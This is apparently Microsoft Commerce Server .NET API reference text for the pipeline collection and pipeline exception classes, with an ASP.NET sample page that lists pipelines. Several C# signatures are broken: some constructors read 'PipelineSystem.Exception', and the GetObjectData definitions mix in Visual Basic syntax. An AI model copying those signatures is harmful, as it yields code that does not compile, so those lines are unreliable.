[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of pipelines contained in the collection.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that gets a value indicating whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean that indicates whether access to the collection is synchronized.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.Item(String) Property (BCL)

The Item property is a read-only PipelineBase object indexed by the pipeName parameter.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal pipeName As System.String _
) As PipelineBase
[C#]
public PipelineBase Item(
  System.String pipeName
) {get;}

Parameters

[Visual Basic .NET]
pipeName
The name of the PipelineBase object to retrieve.
[C#]
pipeName
The name of the PipelineBase object to retrieve.

Property Value

The PipelineBase object indexed by the pipeName parameter.

Remarks

The property throws an ArgumentNullException if the pipeName parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only Object that gets an object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

An object that can be used for synchronized access to the collection.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Class (BCL)

Exception class for pipeline failures.

Public Instance Constructor

Constructor | Description
PipelineException Constructor | Creates a new instance of the PipelineException class.
PipelineException Constructor(String) | Creates a new instance of the PipelineException class with a specified message.
PipelineException Constructor(String, Exception) | Creates a new instance of the PipelineException class with a specified message and inner exception.
PipelineException Constructor(String, String, Exception) | Creates a new instance of the PipelineException class with a specified name, message, and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PipelineName | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineException Constructor | Creates a new instance of the PipelineException class.
PipelineException Constructor(String) | Creates a new instance of the PipelineException class with a specified message.
PipelineException Constructor(String, Exception) | Creates a new instance of the PipelineException class with a specified message and inner exception.
PipelineException Constructor(String, String, Exception) | Creates a new instance of the PipelineException class with a specified name, message, and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineException class with the specified serialization information and streaming context.


PipelineException Constructor (BCL)

Use this method to create a new instance of the PipelineException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public PipelineException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the PipelineException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected PipelineException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (String) (BCL)

Use this method to create a new instance of the PipelineException class with a specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public PipelineException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the PipelineException class with a specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The error message.
inner
The inner exception.
[C#]
message
The error message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (String, String, Exception) (BCL)

Use this method to create a new instance of the PipelineException class with a specified name, message, and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal pipelineName As System.String, _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineSystem.Exception(
  System.String pipelineName,
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
pipelineName
The pipeline name.
message
The error message.
inner
The inner exception.
[C#]
pipelineName
The pipeline name.
message
The error message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PipelineName | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineException.PipelineName Property (BCL)

The PipelineName property is a read-only String that gets the friendly name of the pipeline that encountered the exception.

Definition

[Visual Basic .NET]
Public ReadOnly Property PipelineName As System.String
[C#]
public System.String PipelineName {get;}

Property Value

The friendly name of the pipeline that encountered the exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Class (BCL)

Exception class thrown when a pipeline fails to execute successfully.

Public Instance Constructor

Constructor | Description
PipelineExecuteException Constructor | Creates a new instance of the PipelineExecuteException class.
PipelineExecuteException Constructor(String) | Creates a new instance of the PipelineExecuteException class with the specified message.
PipelineExecuteException Constructor(String, Exception) | Creates a new instance of the PipelineExecuteException class with the specified pipeline name and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineExecuteException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineExecuteException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the Microsoft .NET Framework Software Development Kit (SDK) documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PipelineName (Inherited from PipelineException) | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineExecuteException Constructor | Creates a new instance of the PipelineExecuteException class.
PipelineExecuteException Constructor(String) | Creates a new instance of the PipelineExecuteException class with the specified message.
PipelineExecuteException Constructor(String, Exception) | Creates a new instance of the PipelineExecuteException class with the specified pipeline name and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineExecuteException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineExecuteException class with the specified serialization information and streaming context.


PipelineExecuteException Constructor (BCL)

Use this method to create a new instance of the PipelineExecuteException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public PipelineExecuteException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the PipelineExecuteException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected PipelineExecuteException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization information.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization information.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Constructor (String) (BCL)

Use this method to create a new instance of the PipelineExecuteException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public PipelineExecuteException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the PipelineExecuteException class with the specified pipeline name and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal pipelineName As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineExecuteSystem.Exception(
  System.String pipelineName,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
pipelineName
The pipeline name.
inner
The inner exception.
[C#]
pipelineName
The pipeline name.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the Microsoft .NET Framework Software Development Kit (SDK) for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineExecuteException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the Microsoft .NET Framework Software Development Kit (SDK) for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PipelineName (Inherited from PipelineException) | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineLoadException Class (BCL)

Exception class thrown when a pipeline fails to load successfully.

Public Instance Constructor

Constructor | Description
PipelineLoadException Constructor | Creates a new instance of the PipelineLoadException class.
PipelineLoadException Constructor(String) | Creates a new instance of the PipelineLoadException class with the specified message.
PipelineLoadException Constructor(String, Exception) | Creates a new instance of the PipelineLoadException class with the specified message and inner exception.
PipelineLoadException Constructor(String, String, Exception) | Creates a new instance of the PipelineLoadException class with the specified pipeline name, .pcf file path, and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineLoadException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineLoadException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PCFPath | Gets the .pcf file path.
PipelineName (Inherited from PipelineException) | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineLoadException Constructor | Creates a new instance of the PipelineLoadException class.
PipelineLoadException Constructor(String) | Creates a new instance of the PipelineLoadException class with the specified message.
PipelineLoadException Constructor(String, Exception) | Creates a new instance of the PipelineLoadException class with the specified message and inner exception.
PipelineLoadException Constructor(String, String, Exception) | Creates a new instance of the PipelineLoadException class with the specified pipeline name, .pcf file path, and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineLoadException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineLoadException class with the specified serialization information and streaming context.


PipelineLoadException Constructor (BCL)

Use this method to create a new instance of the PipelineLoadException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public PipelineLoadException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the PipelineLoadException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected PipelineLoadException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization information.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization information.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (String) (BCL)

Use this method to create a new instance of the PipelineLoadException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public PipelineLoadException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the PipelineLoadException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineLoadSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The error message.
inner
The inner exception.
[C#]
message
The error message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (String, String, Exception) (BCL)

Use this method to create a new instance of the PipelineLoadException class with the specified pipeline name, .pcf file path, and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal pipelineName As System.String, _
  ByVal pcfPath As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineLoadSystem.Exception(
  System.String pipelineName,
  System.String pcfPath,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
pipelineName
The pipeline name.
pcfPath
The .pcf file path.
inner
The inner exception.
[C#]
pipelineName
The pipeline name.
pcfPath
The .pcf file path.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineLoadException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PCFPath | Gets the .pcf file path.
PipelineName (Inherited from PipelineException) | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineLoadException.PCFPath Property (BCL)

The PCFPath property is a read-only String that gets the path to the .pcf file for the pipeline.

Definition

[Visual Basic .NET]
Public ReadOnly Property PCFPath As System.String
[C#]
public System.String PCFPath {get;}

Property Value

The path to the .pcf file for the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Pipelines Namespace

Examples

Example | Description
Code to Read a Pipeline Collection and Display Its Properties | Describes how to read a pipeline collection and display its contents.


Code to Read a Pipeline Collection and Display Its Properties

Use the following code to read a pipeline collection and display the Name, Logpath, PipelineConfigPath, LoggingEnabled, and optionally the TransactionalSetting properties.

<%@ Page Language="C#" Debug=true%>

<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>

<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Pipelines" %>

<script language="C#" runat="server">

void Page_Load(object source, EventArgs args)

{

if (!IsPostBack)

{

DisplayPipelines();

btnProperties.Text = "Display Properties";

}

}

///

/// This function gets the pipeline collection and binds it

/// to the drop-down list.

///

void DisplayPipelines()

{

try

{

PipelineCollection pipesCollection = null;

// Check that the CommerceContext object for this request

// is not null.

if (CommerceContext.Current == null)

{

throw new Exception("CommerceContext object is null.Please check settings in web.config");

}

// Get the pipeline collection.

pipesCollection = CommerceContext.Current.Pipelines;

// pipesCollection.Count contains the number of pipelines.

string[] pipeArray = new string[pipesCollection.Count];

int pipeIndex =0;

// Iterate through the pipeline collection and

// build the string array.

foreach (PipelineBase pipe in pipesCollection)

{

pipeArray[pipeIndex++] = pipe.Name;

}

// Bind the array to the drop-down list.

lbPipelines.DataSource = pipeArray;

lbPipelines.DataBind();

}

catch(Exception ex)

{

// Exception handling.

throw new Exception("An error occurred", ex);

}

}

///

/// This function displays the properties for the selected pipeline.

///

void DisplayPropertiesBtn_Click(object source, EventArgs args)

{

string pipeName;

PipelineBase pipe ;

try

{

PipelineCollection pipesCollection = null;

// Check that the CommerceContext object for this request

// is not null.

if (CommerceContext.Current == null)

{

throw new Exception("CommerceContext object is null.");

}

// Get the pipeline collection.

pipesCollection = CommerceContext.Current.Pipelines;

// Get the pipeline name whose properties are to be displayed.

pipeName = lbPipelines.SelectedItem.Text.Trim();

// Index the pipeline collection using the pipeline name to get the

// properties for this pipeline.

pipe = pipesCollection[pipeName];

// Display the Name, Logpath, PipelineConfigPath, and

// LoggingEnabled properties.

lblPipeName.Text = String.Format("Pipeline Name = {0}", pipe.Name);

lblLogPath.Text = String.Format("Log Path = {0}", pipe.LogPath);

lblConfigPath.Text = String.Format("Config Path = {0}", pipe.PipelineConfigPath);

lblLoggingEnabled.Text = String.Format("LoggingEnabled = {0}", pipe.LoggingEnabled);

// Check if this is an order pipeline.

OrderPipeline orderPipeline = pipe as OrderPipeline;

//If it is an order pipeline, display the

// TransactionalSetting property also.

if (orderPipeline != null)

{

lblTransactional.Visible = true;

lblTransactional.Text = String.Format("Transactonal = {0}", orderPipeline.TransactionalSetting);

}

else

{

lblTransactional.Visible = false;

}

}

catch(Exception ex)

{

throw new Exception("An error occurred", ex);

}

}

</script>

<html>

<head>

<title>Pipeline Collection</title>

</head>

<body>

<form runat="server">

<asp:DropDownList id="lbPipelines" runat="server" />

<asp:Button id="btnProperties" OnClick="DisplayPropertiesBtn_Click" runat="server" />

<asp:table width="500" Runat="server">

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblPipeName" runat="server" />

</asp:tablecell>

</asp:tablerow>

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblLogPath" runat="server" />

</asp:tablecell>

</asp:tablerow>

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblConfigPath" runat="server" />

</asp:tablecell>

</asp:tablerow>

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblLoggingEnabled" runat="server" />

</asp:tablecell>

</asp:tablerow>

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblTransactional" runat="server" />

</asp:tablecell>

</asp:tablerow>

</asp:table>

</form>

</body>

</html>


Microsoft.CommerceServer.Runtime.Profiles

The classes in the Microsoft.CommerceServer.Runtime.Profiles namespace contain the profiling functionality for the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Profiles Namespace Object Model

Depicts the object model for the Microsoft.CommerceServer.Runtime.Profiles namespace.

Classes

Class | Description
CommerceProfileAlreadyExistsException | Exception thrown when a profile object already exists.
CommerceProfileModule | Creates the default ProfileContext class for the site.
CommerceProfileSystemException | Base class for exceptions thrown from the Profiling System sub system.
Profile | Creates an abstraction for the profile object Primary Interop Assembly (PIA) type.
ProfileCollection | Creates an abstraction for the profile properties collection.
ProfileContext | Creates an abstraction for the Commerce Server profile service component.
ProfileProperty | Creates an abstraction for the profile property.
ProfilePropertyAttribute | Creates an abstraction for the profile property attribute.
ProfilePropertyAttributeCollection | Represents a collection of ProfilePropertyAttributes.
ProfilePropertyCollection | Creates an abstraction for the profile properties collection.
ProfilePropertyGroup | Creates an abstraction for a profile property group.
ProfilePropertyGroupCollection | Creates an abstraction for the property groups collection.
SiteTerm | Encapsulates a site term.
SiteTermElement | Encapsulates a site term element.
SiteTermElementCollection | Creates an abstraction for the site term elements collection.

Interfaces

Interface | Description
IProfileElements | Encapsulates the common collections exposed by Profile and ProfilePropertyGroup classes.

Enumerations

Enumeration | Description
ProfileDataType | Enumerates all the profile data types exposed by the Profile namespace.
ProfileXmlFormat | Enumerates the XML formats supported by the Profiling System.
ProfileXmlRetrieve | Enumerates the XML retrieval options supported by the Profiling System.

Examples

Example | Description
Code to Create and Set Profile Properties | Describes how to create and set profile properties.
Code to Retrieve and Display Profile Properties | Describes how to retrieve and display profile properties.
Code to Use the SiteTerm Class | Describes how to retrieve, iterate, sort, compare, and validate site terms.

See Also

Commerce Server .NET Application Framework Tutorial


CommerceProfileAlreadyExistsException Class (BCL)

